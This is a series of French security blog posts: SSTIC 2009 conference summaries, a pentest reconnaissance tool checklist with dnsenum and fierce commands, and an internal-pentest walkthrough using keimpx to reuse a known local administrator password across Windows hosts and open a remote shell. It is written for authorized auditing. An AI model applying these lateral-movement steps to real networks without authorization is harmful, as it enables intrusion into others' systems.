En réalité, OSSIM faisait déjà pas mal de choses. Je passerais sur les défauts de ce dernier mais il apportait déjà pas mal d'éléments pour la customisation et la cartographie par subnet en moins convivial et ergonomique bien sûr. Alors cette présentation nous a montré une solution qui permettra aux décisionnaires d'avoir de l'information utile et pas seulement du "bruit" car ne l'oublions pas, "trop d'information tue l'information". Quand il s'agit de traiter des événements, les solutions finissent régulièrement dans un placard car trop complexe.
Néanmoins, une petite déception qu'il n'y ait pas eu plus d'avancée dans ce domaine depuis tout ce temps. Ou alors les améliorations se situe sur des aspects plus techniques qui n'ont pas été abordés ?

CASTAFIOR : Détection automatique de tunnels illégitimes par analyse statistique / Fabien ALLARD et Mathieu MOREL

Voilà un sujet nouveau et intéressant ! Nous restons dans la défense de l'information pour protéger son S.I. Il s'agit ici de repérer les flux illégitimes qui y transitent. plus précisément, il ne s'agit pas d'une solution de prévention car les flux illégitimes sont repérés ... une fois qu'ils ont été transmis ! Mais la solution CASTAFIOR qui permet de faire ça a pour objectif de les localiser et de pouvoir entreprendre des actions de forensics afin de trouver notamment les auteurs de ces flux illégitimes.
Et comment fait-on ? Afin de classifier les flux selon leur protocole, plusieurs paramètres sont pris en compte et leur agrégation permet de se faire une idée relativement précise de sa nature. A titre d'exemple, les paramètres en question pourront être la durée d'un flux ou le nombre de paquets échangés entre le client et le serveur ou le temps de latence entre chaque échange, etc.)
Les données sont récupérées tout simplement via TCPDUMP pour analyse. Une fois l'analyse réalisée et le flux classifié, il pourra être traité en conséquence. Une interface graphique a été implémentée dans la solution CASTAFIOR afin de gérer les flux considérés comme illégitimes. En combinant deux méthodes d'analyse que sont RandomForest et BHM, des résultats tout à fait satisfaisant ont pu être obtenus.
Bien sûr, des améliorations sont toujours possibles mais dans le domaine, il existe peu d'équivalent et ce type de solution pourrait servir dans ces nombreuses entreprises (qui a dit "toutes ou presque" ?:) où les utilisateurs cherchent à contourner les protections réseau qui sont pourtant si difficiles et parfois lourdes à mettre en place.

Après-midi

Réflexion sur un plan d'action contre les botnets / Eric Freyssinet

Haaaaaaa les botnets ! On en entend parlé de ce fléau et à juste titre. La pérennité et la force de cette menace tient du fait qu'elle repose sur le faible niveau de sécurité que l'on retrouve sur les postes de travail des utilisateurs. Et que ce soit dans le privé ou au sein des entreprises, l'élément que l'on ne maitrise pas est bien souvent le poste de travail. Il suffit aussi de faire quelques recherches sur Google quand une nouvelle vulnérabilité sort pour s'apercevoir combien de machine pourrait être infectées et servir de zombie au sein d'un botnet. Et cette fois, nous parlons aussi de serveurs. Donc un sujet qui a été, est et sera d'actualité. La présentation a permis de formaliser le sujet et de montrer qu'un effort de communication et de recherche est réellement fait à travers la presse et les laboratoires de sécurité informatique.
C'est de manière exhaustive que l'orateur propose un plan d'action qui vise à s'attaquer selon différents axes :

l'axe humain : on parle alors de sensibilisation ;
l'axe technique : on parle alors de prévention, de détection et de réaction (les outils existent !) ;
l'axe juridique : on parle alors de clarification de la législation.

L'étape suivante consisterait à synchroniser tout ça ...

Virtdbg, un débogueur noyau utilisant la virtualisation matérielle / Damien Aumaître et Christophe Devine

Bon, certains diront que je suis partie pris mais pour moi la meilleure conférence de la journée. Une évolution dans les travaux de Damien qui ne cesse de repousser les limites de l'accès système. Avec Christophe, on assiste à un duo de choc. L'objectif de cette conférence est d'obtenir un accès via le bus PCI (alors que le bus Firewire avait été utilisé l'année dernière). En l'occurrence, l'équipe a basé sa solution sur l'hypervision et la furtivité (notamment en reprenant les technos des rootkits évolués). Bon, je ne rentrerai pas dans les détails car on passe à un autre niveau ;)
Lors de la conférence, le duo a ciblé un Windows 7 : encore un succès ! Il reste encore des améliorations possibles mais charge à nous d'être patients aussi ... jusqu'à l'année prochaine !

Intéressez-vous au droit ... avant que le droit ne s'intéresse à vous / Eric Barbry

Comme tous les ans, une conférence sur le droit en matière de sécurité des systèmes d'information nous est présentée et c'est bien. D'ailleurs, aucune présentation sur la sécurité organisationnelle cette année. En effet, la sécurité de l'information a besoin d'être traitée sous les angles techniques, organisationnels et juridiques pour arriver à ses fins (ou du moins, faire de son mieux).
Ici, une présentation dynamique qui nous a permis de faire le tour des différentes lois touchant la SSI. Nous ne sommes pas rentrés dans le détail des lois mais ce n'était pas le but. En fait, l'orateur souhaité surtout apporter un discours plutôt percutant et nous montrer notre implication à tous vis-à-vis des lois sur le sujet. Avec les nouvelles lois telles que le fameux "article 34" et la fameuses (pour d'autres raisons ;) loi Hadopi, entreprises et utilisateurs sont aujourd'hui impliqués qu'ils le veuillent ou non. En effet, chacun a des obligations et chacun est tenu d'y tenir. Bref, va falloir être carré !

[DISCOVERY PHASE] Rock it!

2010-04-14T14:06:00.000-07:00

Tout bon test d'intrusion devrait commencer par une phase de découverte. Les tests se déroulent sur des durées très courtes (en général, quelques jours) et le seul moyen de s'imprégner de la cible, c'est d'apprendre à la connaître. Mais voilà, où aller dans le temps imparti ? Il y a certainement des choses à automatiser.

Pourquoi ce post ?

Une phase de découverte est une étape que l'on réalisera systématiquement. Et il y a des tests récurrents et avouons-le, autant cette phase de découverte est importante, autant on a qu'une hâte pendant un "TI" comme disent les habitués, c'est de passer à l'attaque ! Alors je propose ici de donner les pistes pour se constituer un script dédié à la phase de découverte.
Dans le même temps, on donne en fait une synthèse des outils de découverte qui nous sont bien utiles tous les jours :)
NB : En fait, il existe certainement déjà des outils qui font ça. Cependant, je vous propose ici ma version selon mon retour d'expérience.

Et ce post est particulier dans le sens où il est ouvert : vos avis sont les bienvenus (comme toujours d'ailleurs tant qu'ils sont constructifs ;).

Y a quoi au programme ?

1/ Que se passe-t-il en couche 3 ?

On commence ici par analyser les requêtes ICMP. Qu'est ce qui est autorisé ou non ? Du ping aux requêtes TSTAMP en passant par le traceroute ICMP, un bon filtrage de la cible est requis sinon, nous serons en mesure de cartographier la cible. Rien de compliqué ici puisque les outils en question sont bien connus (Ping, Traceroute, Sing, etc.) mais utilisons nous bien les options de ces outils ?

2/ Qui est notre cible ?

Internet recèle souvent des informations très intéressantes sur notre cible. En vrac, nous pouvons citer :

les requêtes de type WHOIS (ex : Dmitry) ;
les scripts permettant de rechercher des noms/emails d'employés tels que theHarvester ;
les scripts permettant de récupérer les documents (malencontreusement ?) égarés sur le Net tels que metagoofil ;
A compléter avec les recherches Google : je vous renvoie vers le site de référence à ce sujet, le site de Johnny LONG.

3/ Les requêtes DNS

Très importantes pour trouver de nouvelles machines ou pour mener certaines attaques, ces requêtes devraient être prise en compte. Les outils ne manquent pas, voici ma sélection :

dnsenum ;

# perl dnsenum.pl --enum -f dns.txt cible

fierce

# perl fierce.pl -dns cible

4/ On passe aux requêtes UDP et TCP

On ne peut pas passer à côté de celui là, je parle du scan de port ! Pour le coup, il existe des tonnes d'outils mais si nous ne devons en citer qu'un seul, c'est bien NMAP (et NASL pour faire plaisir à l'agent M. ;)).

En plus de réaliser un scan TCP et un scan UDP que nous utiliserons avec l'option -oG pour approfondir avec l'outil AMAP. Nous n'oublions pas HTTPRINT pour les services WEB.

Pour compléter, nous pouvons aussi utiliser SinFP qui approche une démarche différente pour fournir des résultats supplémentaires.

5/ Tests sur l'architecture

Les premiers tests permettent de déterminer différents équipements déjà :

les routeurs (ex : avec Traceroute) ;
les pare-feux (filtrage ICMP / UDP / TCP) ;
les serveurs DNS (requêtes DNS paramètre NS) ;
les serveurs de messagerie (requêtes DNS paramètre MX) ;
présence d'autres machines (e. g. requêtes DNS) ;
découverte des services présents (e g. scan TCP et UDP) ;
etc.

A cela, nous pouvons ajouter la découverte d'autres équipements comme les load-balancers (ex : avec le script lbd.sh) ;

6/ Tests WEB

De nouveau, voici une petite sélection pour mieux comprendre l'application WEB :

Trouver de nouveaux répertoires et nouvelles pages (ex : list-urls.py) ;
Vérifier la sécurité des communications SSL si implémenté (e. g. commandes openssl) ;
Vérifier les méthodes autorisées (ex : metoscan) ;
Etc.

Nous pouvons compléter avec des classiques comme Nikto mais personnellement, je préfère Wikto qui permet de faire pas mal de choses. Bon, il est un peu violent quand même ;)

Voilà un ensemble de tests qui devraient nous permettre de récupérer pas mal d'information sur notre cible. Après, comme toujours, il faut savoir s'adapter.
Je crois que nous sommes prêts pour passer aux choses sérieuses !!!

Have fun!

[INTERNAL PENTESTING] Windows Hacking

2010-03-24T07:18:00.001-07:00

De retour pour un post qui ne devrait pas manquer d'intérêt. Notre mission du jour est de trouver tous les postes ayant un compte administrateur local connu. Dans notre quête de prise de contrôle de l'AD, ceci devrait être bien utile ...

Contexte (rapide)

Lors d'un test d'intrusion interne, le scénario ressemble souvent à ça :

J'ai un poste utilisateur et j'ai un compte utilisateur => je deviens administrateur local ;
En général, tous les postes de travail ou presque ou du moins un bon groupe ont le même mot de passe pour le compte administrateur local => nous pouvons donc nous connecter avec ce compte sur d'autres PCs ;
On récupère tous les comptes du domaine sur tous les postes en priant que l'un d'entre eux contient un compte ayant les droits "Admin du domaine". Des outils nous permettent de connaître les comptes recherchés.

C'est pas mal tout ça mais ça prend du temps, ce n'est pas très ciblé et donc pas très discret. On admet donc que le compte administrateur local est en notre possession (vous savez autant que moi comment faire ...) et alors, c'est là qu'entre en jeu l'outil keimpx. Démonstration ...

Installation

Voici les étapes à suivre pour installer l'outil :

Commencer par le télécharger, c'est un programme python ;
Si vous le lancez tel quel, vous aurez certainement des erreurs. Vous aurez donc sûrement besoin d'installer py2exe que vous pouvez trouver ici ;
ça ne marche toujours pas ? Normaaaaaaaaaal ;) En réalité, il vous faudra télécharger les classes Python Impacket (de Core Impact : hé oui, le tool est d'eux). Tout est ici.

Cette fois, vous n'avez plus d'excuse si ça ne marche pas ;)

On passe à l'action !

Pour le lancer, c'est très simple. Vous pouvez soit cibler une seule machine avec -t adresse_cible ou une liste de machine avec -l fichier_texte_avec_liste. Ensuite, vous utiliser l'option -U utilisateur -P mot_de_passe.
NB : Vous pouvez aussi utiliser les hashes : pratique !
Vous pourrez voir par vous mêmes les résultats de l'outil mais avant de voir ces possibilités, j'ai ajouté ma petite touche personnelle alors mieux que des mots, illustration !

Petite touche personnelle ...

J'avais deux choses à reprocher à l'outil en l'essayant une première fois sachant qu'en audit interne, nous sommes souvent confrontés à un grand nombre de poste de travail alors essayons de gagner en rapidité et en efficacité.
En effet :

quand on choisit de donner une liste d'hôte en paramètre, on ne peut utiliser de plages d'adresse de type 172.16.1.0-172.16.4.255 et je ne me vois pas écrire toutes les adresses une à une dans un fichier ... Ou alors, je n'ai pas vu la bonne syntaxe ?
keimpx va tester les credentials pour toutes les machines de la listes et c'est assez long surtout s'il y en a beaucoup.

Alors à ces deux points, j'ai rédigé un petit script (oui oui, j'aurais certainement pu trouver "tout fait" sur le Net mais un peu de scripting à la bourrin, càd tout ce que je sais faire, fait du bien de temps en temps ;)) :

mon script prend en paramètre un fichier texte contenant des plages d'adresses et/ou des adresses uniques pour en faire une liste d'hôtes unique que keimpx saura gérer ;
dans cette liste, je ping les machines pour connaître celles qui répondront. Les autres ne seront alors pas traitées par keimpx et là, on gagne du temps !

J'ai donc une liste de machines "optimisée" dans le sens où elle devrait être exhaustive sans avoir eu à taper 298361 adresses IP à la main, et en ne gardant que celles qui répondent. Pour terminer, mon script ne fait que lancer keimpx avec cette liste et les credentials sensé être connus (hypothèse) :

Je parle de keimpx depuis tout à l'heure mais quelles sont ces possibilités en fait ? Petite démonstration ;)

Keimpx en action ...

Une fois le traitement de fichier le pinging effectué, Keimpx est lancé. Il nous fournit la liste des machines ayant le couple login/mdp connu pour l'admin local. 2 adresses sont "matchées" ici :

La machine XXX.XXX.XXX.136 est ma machine donc aucun intérêt. On s'attaquera donc à la machine XXX.XXX.XXX.219.
Ensuite, chose intéressante, keimpx nous propose un shell : moi je dis "oui" !

On nous demande donc de choisir la machine cible, ici la deuxième. Puis, les credentials à utiliser. Il n'y a pas le choix : tapez 1 puis entrée.

Ensuite, les commandes (et possibilités) sont nombreuses. En voici quelques exemples :

Naviguer sur les disques (via les shares) :

#shares

Puis choisissez le disque souhaité, ici C$ :

Lister les utilisateurs ainsi que la politique de sécurité sur les comptes (extrait) :

#users

Obtenir un shell :

#shell

Bon bah ça, c'est fait ;)

Conclusion

L'engouement pour les applications WEB et tests externes fait que de nombreux outils existent dans ce sens. Keimpx touche un autre domaine où les outils sont moins présents. Ils ne permettra pas nécessairement de faire plus de chose qu'avant mais il nous servira certainement de couteau suisse de tests internes en nous simplifiant les choses.

Maintenant à vous de jouer pour le tester et découvrir ces autres fonctions.
Have fun!

[SSTIC 2009] Day 3

2009-06-05T15:51:00.000-07:00

Troisième et dernière journée. Il manque pas mal de gens à 9h15 ... et même à 13h. On peut en déduire que le social event s'est bien passé :) Une petite pensée aux collègues qui ont tourné pendant trois heures dans Rennes pour trouver des strip-teaseuses ... en vain ;)

Matinée

J'ai bien aimé cette matinée qui a commencé par une conférence sur les XSS , présentée par Pierre GARDENAT. L'objectif est ici de montrer les conséquences possibles de ces failles. Déjà, OWASP - dont nous avons déjà parlé sur ce blog - classe ce type de vulnérabilités dans ses top vulnérabilités. J'ai bien aimé l'exemple du site mySpace où on marque de ne pas taper les balises scripts. Ouais mais on est des rebeeels ! Bonne conf dans l'ensemble avec des résultats sans équivoque mais j'aurais bien aimé qu'on détaille plutôt les attaques sous jacentes comme le DNS rebinding et le click jacking. Cette dernière attaque est cependant expliquée par XMCO partners ici.

Nous continuons avec une présentation d'un petit gars de chez nous. Il doit s'appeler Fred RAYNAL je crois ou quelque chose comme ça ;) Alors il s'agit ici de montrer qu'après avoir décrié les éditeurs de texte Microsoft, puis OpenOffice, on s'attaque maintenant aux PDFs. Alors des présentations ont déjà été faites comme on peut le voir ici. En tant qu'exemple, on voit comment nous arrivons a tirer partie des failles relevées sur ce format de fichier pour récupérer les hashes windows de la machin. De plus, Fred nous frounit ici d'e nouvelles pistes en cours d'exploitation car il s'avère que le sujet est vaste. Snif, même PDF n'est pas sûr.

Quant à la troisième conf, j'ai beaucoup apprécié aussi : il s'agissait du projet macaron à télécharger ici dont l'auteur est Philippe PRADOS. C'est un programme malicieux qui s'utilise en tant que backdoor dans une application J2EE (ex ; JBOss, JoNAS, etc ...). Nous avons déjà traité ce genre de sujet sur ce blog et mon petit doigt me dit qu'on en entendra encore parlé prochainement ... La valeur ajoutée de l'outil présenté est :

qu'il apour but d'être furtif et apparemment, ça marche ;
les commandes proposées nativement par la backdoor sont nombreuses ;
des fonctions d'audits ont l'air intéressantes. En tout cas, l'idée est bonne.

Je rajoute dans ma liste de tool à tester suite au SSTIC.

On continue avec un autre tool qui me paraît lui aussi intéressant : IpMORPH par Guillaume PRIGENT. Le but de cet outil est de dérouter les solutions de fingerprinting actives et passives en fournissant de faux résultats au niveau OS (ex : une OpenBSD à la place d'un Linux). Un début de présentation longuet avec des beaux powerpoints mais qui n'apporte pas grand chose. La suite est bien mieux et les résultats tout à fait satisfaisant. Les démonstrations ont porté sur nmap, ring2, p0f et SinFP qui sont largement répandus. Je me demande cependant ce que cela aurait donné avec des outils plus pointus comme AMAP et si des tests ont été réalisés avec nessuscmd ?

J'aurais bien aimé vous parler des deux dernières confs de la matinée (analyse dynamique depuis l'espace noyau avec le projet Kolumbo et GPGPU pour la cryptographie) mais j'ai un peu décroché, non pas que les présentations n'étaient pas intéressantes, c'est juste que j'accusais le coup des 8 heures de sommeil ... en 2 nuits. En même temps, ça peu paraître beaucoup pour certains : Ok Alexandre et Yann, -100 au geek scoring :)

Après-midi

L'après-midi était courte avec deux présentations seulement : ça sent déjà la fin :' Nous commençons avec une présentation de Martin Vugnoux sur "les émanations compromettantes électromagnétiques des claviers filiaires". On note de super slides ;) Et blague mise à part, une présentation rondement menée et accrocheuse. Le speaker nous montre qu'après avoir capté les signaux avec une super antenne et après avoir compris comment ça marchait, on arrive à connaître le caractère tapé sur le clavier à distance. On ne va pas y aller par 4 chemins, ça semble marcher sur tous les supports clavier sans fil, de PDA et voire autres machines à clavier mais l'auteur nous laisse dans le suspens, mystère ! Quant à la pratique des attaques, on arrive à agir de 5 à plusieurs dizaines de mètres selon le support ciblé et les conditions de tests. Bien joué Martin !

Pour terminer, la conférence invitée par D. Chanderis. Là, on sent la personne qui a de la bouteille ;) Et ce n'est pas péjoratif, au contraire. On sent la personne cultivée et surtout humaine et pourtant, elle travaille depuis des années dans la SSI : tout n'est peut être pas encore perdu ; on n'est peut être pas encore dans la matrice !!!
L'idée est de dire, qu'il faut croire en les valeurs humaines et non sans provocation que l'humain est le maillon fort ! Alors effectivement, ce genre de propos fait réagir car je ne pense pas être le seul à prendre en compte le facteur humain dans les préconisations d'audit. Il joue un rôle plus qu'essentiel dans le SI et forcément, on lui trouve des faiblesses. Un exemple que j'ai en tête, c'est de stocker en clair des mots de passe (très) important sur sa machine. Alors on me répondrait qu'on avait qu'à chiffrer son disque. Je crois qu'on peut jouer au chat et à la souris et devant une telle personne, je fais preuve d'humilité, je m'incline. Ce que je cherche à dire cependant à travers cet exemple, c'est que nous avons certainement des idées préconçues (et même, je n'en doute pas) mais il reste certaines choses difficiles à accepter (comme dire que l'humain peut représenter le maillon fort donc). Peut-être s'agit-il seulement de laisser le temps à la réflexion mais comme dit mon philosophe préféré à moi, "l'important, c'est d'y croire".

Je terminerai en disant que je n'ai pas été déçu cette année par le SSTIC, au contraire et je vous invite à vous rendre sur le site d'une personne qu'on ne présente plus ici.

Il ne me reste plus qu'à vous dire à l'année prochaine ... j'espère ;)

[SSTIC 2009] Day 2

2009-06-04T17:27:00.000-07:00

ça continue pour cette deuxième journée. Déjà, certains ont du mal à se lever pour la première conf. de la journée. Bon, l'objectif est de faire un post moins long que pour le jour 1 !

Matinée

Une matinée dédiée au fuzzing ! En guise d'introduction, on commence avec une conf. d'Ari TAKANEN, Finlandais. Il nous explique sa vision sur le sujet : "Fuzzing : le passé, le présent et le futur". Ici, le but, c'est pas de montrer des vulns mais vraiment de voir les techniques de fuzzing et l'évolution de cette technique. Pour savoir quelle technique est la meilleure ou quelle sera celle qui nous conviendra le mieux, il faut prendre en compte trois critères :

les fonctionnalités offertes par le fuzzer ;
sa robustesse ;
ses performances.

L'idée est ici de considérer le modèle de fuzzing (mutation, pre-generated/scripted, block based, model based). Aussi, on souhaite ici se coller au fuzz en cours et l'automatiser au mieux. Par exemple, on cherchera à tenir compte des spécificités du protocole audité. Pour terminer, Ari nous propose une checklist pour choisir ou concevoir son fuzzer.

La deuxième conf est proposée par Gabriel CAMPANA. Elle fait la transition avec la précédente en présentant l'outil "Fuzzgrind". Ce dernier repose sur deux tools existants : Valgrind et STP. L'idée est que pour chaque nouveau protocole, c'est long de refaire son fuzzer. C'est là que Fuzzgrind arrive. Cet outil va travailler selon les 3 étapes suivantes :

exécution symbolique du programme audité ;
prise en compte des conditions (tous les cas) ;
création d'une équation pour chacune de ces conditions.

Des améliorations sont en cours mais déjà, l'outil a déjà trouvé des vulnérabilités dans des programmes comme readelf et swfextract ... en moins d'une heure ! Bravo !

La dernière conf sur ce thème du fuzzing est présentée par Laurent BUTTI. On s'attaque maintenant - dans le contexte d'une "architecture de convergence fixe-mobile" - à des protocoles dits de sécurité comme IKEv2 ou EAP . Et là où ça commence à faire peur, c'est qu'on trouve des failles là aussi ... En réalité ces protocoles apparaissent comme sûrs mais l'idée à retenir, c'est qu'il ne faut pas négliger les points sensés être sécurisés pendant les tests de tout genre car les failles vont provenir de l'ingénierie réseau et de l'implémentation de ses protocoles. En résumé, "don't trust any(one|thing)" ... (Source : Mulder dans X-Files ;).

On enchaîne avec la présentation de Romain RABOIN sur la sécurité des smartphones. Le speaker nous donne d'abord une vue d'ensemble des 4 OS les plus répandus sur le marché (Symbian, iPhone, RIM Blackberry et Windows Mobile). on va faire court : il existe des failles pour tous et il est possible d'espionner les données (appels, voix, ...) via des logiciels appropriés. on se focalise ici sur Windows Mobile et on essaie d'injecter le logiciel espion (un fichier *.cab). A priori, nous avons besoin d'un accès physique au téléphone, le temps d'injecter le programme. Ensuite, on peut agir à distance. Pour éviter cette nécessité, d'accès au téléphone de la victime, plusieurs solutions passent en revue et la gagnante consiste à utiliser le poste de travail avec qui le smartphone se synchronise. Le schéma est alors simple :

avoir un accès au poste de travail de l'utilisateur (ça n'a jamais posé problème) ;
programmer la synchronisation du logiciel espion avec le smartphone ;
c'est tout !

Il faut quand même savoir que notre programme malicieux n'est pas signé. une popup pourrait donc avertir d'utilisateur de son installation. Mais la modification (via rapi) d'une stratégie de sécurité permet de remédier à ce problème ;)

Pour la conf suivante, on change vraiment de sujet pour parler de watermarking avec Teddy FURON dans une présentation intitulée "le traçage de traitre en multimedia". Comme le titre l'indique, il s'agit de retrouver le ou les personnes coupables d'avoir effectuer une copie illégale d'un multimédia propriétaire (ouh ... pas bien !). Le défi est que les résultats puissent être suffisamment probants pour servir de preuve juridique. On se rend compte que ce n'est pas simples mais que le tatouage donne de bons résultats en se basant sur les faiblesses de la perception humaine (visuelle et sonore). Au final, on remarque que si le fichier n'a pas été trop dégardé par les pirates, nous pourrons retrouver les attaquants en estimant des probabilités sur leur culpabilité.

La dernière conf de la matinée est présentée par Marie BAREL, juriste attitrée du SSTIC ;) Elle nous présente un cas concret et que nous sommes amener à auditer régulièrement : le vol d'information par un stagiaire (ce que nous simulons pendant un pentest interne en l'occurrence). Les définitions du vol fournies par les lois françaises ne tiennent pas en compte des données numérique car :

par vol, il devrait y avoir "soustraction" or un vol d'information n'implique pas que l'entreprise touchée n'a plus à ses dispositions les données volées ;
par vol, on s'attend à voler un objet or les infomations représentent un objet "immatériel".

On voit qu'il est difficile de se protéger des vols d'information par les employés. Néanmoins, les chartes utilisateurs et NDA sont des premiers pas vers la protection. Il faut savoir aussi que l'employé a "obligation de loyauté" envers son employeur. Il n'empêche qu'une étude américaine affirme que 59% des employés vole des données avant de partir de la compagnie. Malheureusement, le contrat de travail ne prévoit pas toujours la confidentialité des informations après le départ d'une personne (même sur une durée limitée). Pire, le vol d'information est souvent repéré bien tard et la personne est certainement partie depuis ... Pire encore : qui a déjà vu une société où tous les accès (logiques et physiques) ont été correctement désactivés au départ d'une personne ?
En résumé, la loi n'est pas toujours adaptée au monde numérique et en voici la preuve. Cela a pour conséquence des brèches dont les coupables tenteront de se servir.
Pour terminer, je reprends les tois mots de la fin du speaker : "responsabilisation, communication et contrôle".

Après-midi

On commence avec Nicolas RUFF avec "Pourquoi la sécurité est un échec". Le titre annonce la couleur et avec la prés., on a presque envie de déprimer parce la sécurité, c'est notre raison de vivre (surtout si on n'a pas de vie sociale à côté ! :) mais on apprendra pendant les rump sessions qu'il existe des "copine de geek", OUF !) Bon, les problèmes majeurs datent d'il y a 30 ans selon notre speaker (Internet, langage C, ...) : OUF, je n'étais pas né, c'est pas de ma faute !!! J'arrête de déprimer et me dis que je vais quand même à faire de la sécu !
Lors de sa présentation, Nicolas nous montre les grosses failles Windows qui ont eu lieu et auxquelles il a participé et pas vraiment du neuf au final. On ne peut que confirmer que les environnements Windows sont prenables en tests internes. On explique dans la conf. le manque de prévention dans la sécurisation des SI par les entraprises et malheureusement, elles finissent par en payer les conséquences ... Reste à convaincre ces entreprises de payer "au cas où" ... Sinon, je propose qu'on prenne une comm' de 1% à chaque fois qu'on avait prévenu la boîte du problème en cours et qu'aucune correction n'a été apportée ...

Avant les rumps, on a eu des présentations de projets ayant pour but la sécurisation d'un OS pour un utilisateur lambda qui doit être capable d'effectuer toutes les opérations de bureautique classiques (mail, traitement de texte, e-commerce, ...) : c'est le projet SEC&SI. Les trois projets ont des approches différentes mais intéressantes. On retrouve les principes de serveurs mandataires, de sandbox, de hardening, etc. Pas de pronostic pour le moment mais on est obligé de marquer dans nos annales du SSTIC que "sh, ça nous a bien fait shourrir" :))

Quant aux rumps, on avait de tout. En tant qu'auditeur, j'ai surtout noté les outils IMA, reconet, evalSMSI et Netifera que je testerai dès que possible et même pourquoi pas, d'en faire un post.

PS : raté, je n'ai pas réussi à faire un post plus court qu'hier ; je retente demain !

[SSTIC 2009] Day 1

2009-06-03T16:15:00.000-07:00

Premier jour de conf pour l'édition 2009. On retrouve les mêmes, les meilleurs et ... les meilleurs ;) De bonnes confs en perspective. Alors malgré un passage obligé à la crêperie et au pub, je ne pouvais pas manquer de faire quelques commentaires sur mon blog ;)

Matinée

Bon, pour les 3 confs du matin, je vais résumer mieux que sur tous les autres blogs SSI, si si ! Écoutez : "Suite à un problème d'aiguillage à Massy, le train partira avec 20 minutes de retard + 50 minutes de retard car nous prendrons les voies classiques à la place des voies TGV" ...

Après-midi :

Projet WOMBAT :

L'après midi commence avec une conférence intitulée "Le point de vue d'un WOMBAT sur les attaques Internet" par M. DACIER, SYMANTEC.
Alors avant de commencer faut savoir qu'il cherche à recruter dans le sud de la France (mouais, bah il fait beau même en Bretagne ! ;)) et qu'il recherche des ressources pour y installer des "sensors". On explique tout ça :

La présentation se découpe en 3 parties :

La collecte d'information ;
L'analyse de l'information et l'enrichissement des données ;
Les menaces causées par l'attaque.

On connaît les honeypots (ou "pots de miel") mais ici, c'est juste une des sources utilisées pour la collecte d'infos. En effet, ils utilisent aussi les crawlers et des flux externes. Les honeypots sont basés sur SGNET, la nouvelle génération de ce type de solution. SYMANTEC demande à des partenaires d'installer sur leur(s) machine(s) un "sensor" qui est une "entité logicielle" légère. Le but est que ces "sensors" soient les plus nombreux et les mieux répartis possibles dans le monde pour des résultats d'autant plus pertinents. Plus précisément, ces sensors disposent d'un automate à états finis (constitué des chemins d'attaque connus).
Afin que les personnes de la communauté WOMBAT récupère les données, ils disponsent d'une passerelle qui sert notamment de proxy anonymiseur pour ses partenaires qui envoient leurs données.
On arrive à la deuxième étape où on effectue une analyse des codes malicieux. On l'enrichit de données si on en dispose déjà. On retrouve deux cas d'attaque :

les attaques connues qui seront facilement traitées et répertoriées ;
les attaques non connues qui nécessitent d'analyser le shellcode de l'attaque (+ long !).

Malheureusement, la tendance étant à l'attaque ciblée, on se rend compte que les attaques non connues et spécifiques prennent de plus en plus d'importance.
Enfin, troisième étape : l'étude des menaces. On a vu de beaux graphiques et ça a l'air de fournir vraiment des résultats. En tout cas, de donner des éléments de réponses sur les caractéristiques des attaques en cours ou à venir. Par exemple, on a une vue sur les sources et cibles des attaques, leur mode opératoire, etc. et tout plein de stats.
Le projet est initialement prévu sur 3 ans et donc pas encore terminé. C'est pourquoi on attend d'autres résultats. Mais l'idée de départ et les moyens mis à disposition semblent être bons et prometteurs. Seulement, il faut que les données collectées soient :

plus nombreuses ;
pertinentes et arriver à trier les bonnes données malgré la quantité croissante ;
trouver un moyen d'automatiser l'analyse de code malicieux pour les attaques non connues.

Donc, à suivre !

Les attaques physiques :

Alors des projets tout à fait louables se déroulent pour la mise en place de l'informatique de confiance. Très bien sauf que Loïc DUFLOT, speaker de la conférence "Quelles limites pour l'informatique de confiance", commence par nous montrer qu'en débranchant et en rebranchant 5 fois de suite le câble d'alimentation de sa machine, il passe root à partir d'un compte démo non privilégié ! Là, on commence à se demander ce qu'il se passe et tout devient plus clair dans la suite. Le problème, c'est que le BIOS n'est pas considéré à sa juste valeur. Malheureusement, on sait déjà les dégâts que cela peut faire. Outre le reboot de la machine par exemple avec un média amorçable, nous nous attaquons à un sujet plus complexe mais dont le résultat est sans équivoque. Alors pour résumer, L. DUFLOT va s'appuyer sur les routines de traitement de la SMI (System Management Interface) et les tables ACPI (Advanced Configuration and Power Interface). Les routines d'interruption ont des droits privilégiés et c'est de là que va venir l'escalade de privilèges. La démarche consiste à injecter un rootkit qui se lancera une fois qu'on actionnera telle routine physique (ex : débrancher le câble d'alimentation).
Dans le même ordre d'idée, la dernière conf de la journée, "Compromission physique par le bus PCI" de Christophe Devine et Guillaume Vissian nous fournit un POC d'accès DMA à l'aide d'une carte PCI ou Cardbus. Là encore, le résultat est au rendez-vous. Cette présentation venait à point dans la continuité de celle de Damien Aumaître, l'année dernière, sur l'accès DMA mais via le port firewire cette fois.

ISO 27001 :

Déjà, de l'orga au SSTIC ! ça fait plaisir aussi :) L'approche de la conférence, c'est de voir de manière objective (ou presque ;) à quoi sert l'ISO 27001 avec un retour d'expérience du speaker, Alexandre Fernandez-Toro. L'exposé était découpé en 5 questions :

A quoi ça sert [l'ISO 27001] ?
Est-ce que ça améliore vraiment la sécurité des systèmes d'information ?
Comment reconnaître les compagnies qui veulent être certifiées pour le tampon et celles qui le souhaitent pour s'assurer qu'elles appliquent les bonnes pratiques en termes de SSI ?
Quels sont les domaines impactés ?
A quoi ça sert vraiment [l'ISO 27001] ?

C'était intéressant d'avoir un tel retour d'expérience et de se dire plusieurs fois, "ça j'ai vu". Notamment, le cas des entreprises qui rédigent les documents et effectuent les enregistrements juste avant l'audit. J'ai vu un cas où la boîte avait fait en sorte de retarder l'audit de 6 mois. Comme de par hasard, il y a eu un plein de choses mises en place les 6 derniers mois ... que c'est bizarre ! Non ? Regardons ce qu'il y avait eu de fait avant les 6 mois ... euh ... Je tiens un bon cas 1, un bon vainqueur même :)
La conclusion de la conférence, c'est que l'ISO 27001 apporte réellement une sécurité mais pas de la façon à laquelle on pourrait s'attendre a priori : La norme apporte vraiment aux compagnies qui ont déjà la volonté de faire de la sécurité. C'est un travail à long terme et c'est seulement ainsi que des résultats concrets pourront être obtenus. En l'occurrence, la norme permettra de rationnaliser, transversaliser et mutualiser la SSI de la compagnie. En fait, c'est déjà pas mal !
Regardez les failles que vous trouvez dans un test d'intrusion interne. Si vous creusez, vous vous rendez compte qu'il y a toujours une cause organisationnelle derrière : la machine n'est assignée à aucun administrateur, les administrateurs en charges sont 2 pour 8278182718105 machines, etc ... On comprend pourquoi la machine n'est pas patchée depuis X mois (qui a dit années ???) quand bien même on a un WSUS correctement installé. Par exemple, la transversalité permettra de couvrir la totalité du SI et évitera qu'une machine ne soit administrée ... que par elle-même !

[Pentesting] [Messaging] Lotus hacking

